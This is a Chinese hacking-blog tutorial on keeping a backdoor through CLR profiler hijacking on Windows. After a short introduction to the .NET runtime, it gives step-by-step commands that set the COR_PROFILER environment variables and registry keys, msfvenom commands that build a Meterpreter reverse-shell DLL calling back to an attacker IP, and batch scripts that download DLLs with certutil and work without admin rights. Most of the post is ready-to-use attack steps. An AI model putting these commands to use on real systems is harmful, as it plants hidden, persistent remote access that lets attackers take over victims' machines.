天道酬勤

权限维持篇-CLR劫持后门

CLR劫持后门

CLR介绍

CLR全称Common Language Runtime,中文名称为公共语言运行时

CLR是.NETFramework的主要执行引擎,作用之一是监视程序的运行:

在CLR监视之下运行的程序属于“托管的”(managed)代码
不在CLR之下、直接在裸机上运行的应用或者组件属于“非托管的”(unmanaged)的代码

维基百科的解释

通用语言运行平台(Common Language Runtime,简称CLR)是微软为他们的.NET的虚拟机所选用的名称。它是微软对通用语言架构(CLI)的实现版本,它定义了一个代码运行的环境。CLR运行一种称为通用中间语言的字节码,这个是微软的通用中间语言实现版本。

链接:CLI语言列表

CLR运行在微软的视窗操作系统上。查看通用语言架构可以找到该规格的实现版本列表。其中有一些版本是运行在非Windows的操作系统中。

CLR的主要功能如下:

基类库支持 Base Class Library Support
内存管理 Memory Management
线程管理 Thread Management
垃圾回收 Garbage Collection
安全性 Security
类型检查 Type Checker
异常管理 Exception Manager
调试管理 Debug Engine
中间码(MSIL)到机器代码(Native)编译
类别装载 Class Loader

理解

简单来讲,开发人员使用高级编程语言撰写程序,编译器将代码编译成微软的中继语言(MSIL)。运行时,CLR会将MSIL码转换为操作系统的原生码(Native code)。

原生码也称为机器代码(machine code),是电脑CPU可以直接解读的数据,由机器语言集合而成。机器语言是用二进制代码表示的、计算机能直接识别和执行的一种机器指令的集合。它是计算机的设计者通过计算机的硬件结构赋予计算机的操作功能。机器语言具有灵活、直接执行和速度快等特点。不同种类的计算机其机器语言是不兼容的,按某种计算机的机器指令编制的程序不能在另一种计算机上执行。

再简单一些,举个例子,我们平常学到的语言有很多,例如python、C#、C++等等,由这些高级语言编写的程序,可在Windows上运行。这些被编译好的程序,叫做可执行程序,也就是我们平常在电脑中看到的以exe为后缀的程序。

我们从未看到过”python可执行文件”、”C++可执行文件”,要想在Windows上运行程序,无论哪种语言编写,最终都会编译为”exe可执行文件”,这里便体现了CLR的作用。CLR使多种多样的高级语言能够适应Windows系统标准,而非令Windows系统不断更新以适配越来越多的高级语言。

关于CLR的文章:
什么是CLR?
微软官网CLR概述

CLR后门持久化

原理:通过修改环境变量,使CLR作用于全局,从而劫持所有.net程序的启动。

配置环境变量

CLR需要配置环境变量才可以完全劫持.net

要注册为全局变量,不然只能在当前cmd窗口劫持.net程序

使用命令:

SETX COR_ENABLE_PROFILING 1 /M
SETX COR_PROFILER {GGUUGGUU-1234-1234-1234-AABBCCDDEEFF} /M

COR_ENABLE_PROFILING:仅当此环境变量存在并设置为 1 时,CLR 连接到探查器。

COR_PROFILER:如果 COR_ENABLE_PROFILING 检查通过,CLR 将连接到具有此 CLSID 或 ProgID 的探查器(已事先存储在注册表中)

关于这两个参数更详细内容查看微软文档:设置分析环境

注意:COR_PROFILER的值与系统中的CLSID值不重复即可,可根据系统中的形式,编写强伪装型的数值。

修改注册表

修改注册表的路径为:

HKEY_CURRENT_USER\Software\Classes\CLSID\

找到该位置,发现并没有CLSID目录:
(应该是我实验机器的问题)

没关系,并不影响,我们可以直接利用命令进行创建

REG ADD "HKEY_CURRENT_USER\Software\Classes\CLSID\{GGUUGGUU-1234-1234-1234-AABBCCDDEEFF}\InProcServer32" /VE /T REG_SZ /D "C:\gu.dll" /F
REG ADD "HKEY_CURRENT_USER\Software\Classes\CLSID\{GGUUGGUU-1234-1234-1234-AABBCCDDEEFF}\InProcServer32" /V ThreadingModel /T REG_SZ /D Apartment /F

REG ADD “HKEY_CURRENT_USER\Software\Classes\CLSID{GGUUGGUU-1234-1234-1234-AABBCCDDEEFF}\InProcServer32” /VE /T REG_SZ /D “C:\Winodws\System32\gu.dll” /F

REG ADD “HKEY_CURRENT_USER\Software\Classes\CLSID{GGUUGGUU-1234-1234-1234-AABBCCDDEEFF}\InProcServer32” /V ThreadingModel /T REG_SZ /D Apartment /F

执行之后,刷新注册表,就发现键值存在了。

msf创建dll后门

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=8888 -f dll > gu.dll

生成之后,将其上传到目标机器的C:\Winodws\System32\目录下,上传的方法,前几章节已经讲过,就不再陈述。

效果

上述操作都已完成之后,我们在msf开启监听,并重启机器,等待后门运行。

从反馈的结果中看出,机器确实成功上线,但是马上就Died了。所以在监听时,我们需要使用一个参数,即

set autorunscript migrate -f

其作用是:上线之后自动转移进程到一个稳定进程上去,从而保持上线。

但是呢,还是不行。最后,怀疑是我生成木马位数的原因,目标机器是64位的,于是生成64位的马。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=8888 -f dll > gu.dll

上线成功!

系统启动时自动调用.net程序,加载CLR,从而触发后门,在没有用户登录的情况下,就可拿取权限。

以上操作都是在管理员权限下进行的。

不在管理员权限下进行也可以,可以参考大佬的bat脚本,用法其实都一样,自行参考即可。

32位bat:

wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"
wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue="{11111111-1111-1111-1111-111111111111}"
certutil.exe -urlcache -split -f yourdll
certutil.exe -urlcache -split -f yourdll delete
SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32
REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\msg.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F

64位bat:

wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"
wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue="{11111111-1111-1111-1111-111111111111}"
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll delete
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg_x64.dll
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg_x64.dll delete
SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32
REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\msg_x64.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F 
SET KEY=HKEY_CURRENT_USER\Software\Classes\WoW6432Node\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32
REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\msg.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F

参考文章:Use CLR to maintain persistence

 

赞(1) 打赏
未经允许不得转载:HackerGu‘s Blog » 权限维持篇-CLR劫持后门
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

专注黑客技术的研究

联系我们联系我们

觉得文章有用就打赏一下文章作者

微信扫一扫打赏